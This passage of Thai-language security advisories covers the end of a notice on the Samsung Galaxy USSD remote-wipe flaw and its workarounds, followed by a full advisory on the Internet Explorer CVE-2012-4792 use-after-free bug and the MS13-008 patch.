ยังไม่มีแถลงการณ์จาก Samsung เกี่ยวกับช่องโหว่นี้ แต่มีรายงานจากผู้ใช้ Galaxy S3 ใน Forum ของ XDA-Developers ว่า Firmware ล่าสุดของ Galaxy S3 ได้แก้ไขปัญหานี้แล้ว [6] อย่างไรก็ตาม สำหรับผู้ใช้โทรศัพท์รุ่นอื่น ควรตรวจสอบข้อมูลกับศูนย์บริการอีกครั้งเพื่อความปลอดภัย
นาย Dylan Reeve ได้วิเคราะห์ช่องโหว่ดังกล่าว และได้ทำ หน้าเว็บไซต์สำหรับทดสอบช่องโหว่ดังกล่าวนี้ โดย หากผู้ใช้โทรศัพท์มือถือเข้าไปยังลิงก์ดังกล่าว แล้วพบว่าแอปพลิเคชัน Dialer แสดงหมายเลข IMEI ของเครื่องขึ้นมา แสดงว่าเครื่องที่ใช้งานอยู่นั้นมีช่องโหว่
อย่างไรก็ตาม เนื่องจากสาเหตุหลักของช่องโหว่ดังกล่าวนี้เกิดจากแอปพลิเคชัน Dialer ทำการประมวลผลคำสั่ง USSD โดยอัตโนมัติ วิธีแก้ปัญหาแบบชั่วคราวในขณะที่ยังไม่มีแพทช์มีดังนี้
1. ติดตั้งแอปพลิชัน Dialer เพิ่มเติม เพื่อใช้งานแทนแอปพลิเคชันที่มากับ Firmware อย่างไรก็ตาม การแก้ปัญหาด้วยวิธีนี้ ผู้ใช้ต้องแน่ใจว่าแอปพลิเคชันนั้นจะไม่ประมวลผลคำสั่ง USSD โดยอัตโนมัติ
2. ติดตั้งแอปพลิชัน Dialer เพิ่มเติม แต่ไม่ต้องตั้งค่าให้ใช้โปรแกรมใดเป็นค่า Default ของเครื่อง ซึ่งวิธีการดังกล่าวนี้จะทำให้เมื่อผู้ใช้เปิดเว็บที่มีโค้ด tel: อยู่ แล้วโปรแกรมต้องการโทรออกหรือประมวลผล USSD จะปรากฎหน้าจอให้ผู้ใช้เลือกว่าต้องการโทรออกโดยใช้แอปพลิเคชันใด ซึ่งผู้ใช้สามารถกดยกเลิกการโทรออกได้ อย่างไรก็ตาม การใช้งานวิธีนี้มีข้อเสียคือจำเป็นต้องเลือกโปรแกรมสำหรับใช้โทรออกทุก ครั้ง [7] ดังรูปที่ 1
Al2012ho0003-1.png
รูปที่ 1 หน้าจอการเลือกโปรแกรมสำหรับใช้โทรออก (ที่มา Dylan Reeve)
3. ติดตั้ง Opera Mobile และใช้เป็นเบราว์เซอร์หลักของเครื่อง เนื่องจากจะไม่แสดงข้อมูลใน <iframe> โดยอัตโนมัติ ดังรูปที่ 2
Al2012ho0003-2.png
รูปที่ 2 Opera Mobile ไม่แสดงผลข้อมูลใน <iframe>

อ้างอิง

  1. http://www.etsi.org/deliver/etsi_gts/02/0290/05.01.00_60/gsmts_0290v050100p.pdf
  2. http://www.youtube.com/watch?v=Q2-0B04HPhs
  3. http://www.zdnet.com/samsung-galaxy-s3-vulnerable-to-remote-malicious-reset-7000004771/
  4. http://forum.xda-developers.com/showthread.php?t=1904629
  5. http://techcrunch.com/2012/09/25/got-touchwiz-some-samsung-smartphones-can-be-totally-wiped-by-clicking-a-link/
  6. http://forum.xda-developers.com/showpost.php?p=31998672&postcount=33
  7. http://dylanreeve.posterous.com/remote-ussd-attack

ระวังภัย ช่องโหว่ 'CDwnBindInfo' ใน Internet Explorer 6-7-8 (CVE-2012-4792) ติดตั้งแพทช์โดยด่วน



วันที่ประกาศ: 4 มกราคม 2556
ปรับปรุงล่าสุด: 15 มกราคม 2556
เรื่อง:ระวังภัย ช่องโหว่ 'CDwnBindInfo' ใน Internet Explorer 6-7-8 (CVE-2012-4792) ติดตั้งแพทช์โดยด่วน

ประเภทภัยคุกคาม: Intrusion, Malicious Code

ข้อมูลทั่วไป

Microsoft ได้ออกประกาศแจ้งเตือน Security Advisory หมายเลข 2794220 [1]เรื่องช่องโหว่ในโปรแกรม Internet Explorer เวอร์ชัน 6, 7 และ 8 โดยช่องโหว่ดังกล่าวนี้เกิดจากข้อผิดพลาด Use-after-free (เรียกใช้งานข้อมูลที่ถูกลบออกจากหน่วยความจำไปแล้ว) ช่องโหว่ดังกล่าวนี้มีหมายเลข CVE-2012-4792 [2]

ผลกระทบ

ในการโจมตี ผู้ไม่หวังดีจะสร้างเว็บไซต์ที่มีคำสั่งอันตราย หรือเจาะระบบเว็บไซต์ของผู้อื่น แล้วฝังคำสั่งอันตรายไว้ เมื่อผู้ใช้เข้าใช้งานเว็บไซต์นั้นด้วยโปรแกรม Internet Explorer คำสั่งอันตรายดังกล่าวจะทำให้เกิดความผิดพลาดในการเรียกใช้งานหน่วยความจำและส่งผลให้ผู้ไม่หวังดีสามารถสั่งประมวลผลคำสั่งอันตรายจากระยะไกล (Remote Code Execution) โดยได้สิทธิในระดับเดียวกันกับบัญชีผู้ใช้ที่ใช้งานโปรแกรม Internet Explorer[3]

ระบบที่ได้รับผลกระทบ

  1. ระบบปฏิบัติการ Windows ที่ติดตั้งโปรแกรม Internet Explorer เวอร์ชั่น 6, 7 และ 8
  2. Microsoft แจ้งว่าโปรแกรม Internet Explorer ใน Windows Server 2003, Windows Server 2008, และ Windows Server 2008 R2 ถูกตั้งค่าเริ่มต้นให้ทำงานในโหมด Enhanced Security Configuration ซึ่งช่วยลดผลกระทบจากการโจมตีผ่านช่องโหว่นี้ได้

ข้อแนะนำในการป้องกันและแก้ไข

ช่องโหว่นี้ไม่มีผลกระทบกับผู้ที่ใช้งาน Internet Explorer เวอร์ชั่น 9 และ 10 ดังนั้นเพื่อความปลอดภัยควรอัพเกรดโปรแกรม Internet Explorer ให้เป็นเวอร์ชั่นดังกล่าว
เนื่องจากผลกระทบที่เกิดจากการโจมตีนี้ ทำให้ผู้ไม่หวังดีได้รับสิทธิเดียวกันกับบัญชีผู้ใช้ที่ใช้งานโปรแกรม Internet Explorer ดังนั้นผู้ใช้ควรใช้งานบัญชีผู้ใช้ที่เป็น Limited User เนื่องจากจะได้รับผลกระทบน้อยกว่า Administrator
เมื่อวันที่ 14 มกราคม 2556 Microsoft ได้เผยแพร่แพทช์ MS13-008 เพื่อแก้ไขช่องโหว่ดังกล่าวแล้ว โดยได้แนะนำให้ผู้ใช้งานติดตั้งแพทช์ดังกล่าวอย่างเร่งด่วนที่สุด เนื่องจากช่องโหว่นี้ถูกจัดให้มีความรุนแรงอยู่ในระดับ Critical และพบว่าเริ่มมีการโจมตีผ่านช่องโหว่นี้อย่างแพร่หลายแล้ว โดยสามารถติดตั้งได้ผ่านทาง Windows Update และดาวน์โหลดได้จากเว็บไซต์ของ Microsoft [4]

อ้างอิง

  1. http://technet.microsoft.com/en-us/security/advisory/2794220
  2. http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2012-4792
  3. http://blogs.technet.com/b/srd/archive/2012/12/29/new-vulnerability-affecting-internet-explorer-8-users.aspx
  4. http://support.microsoft.com/kb/2799329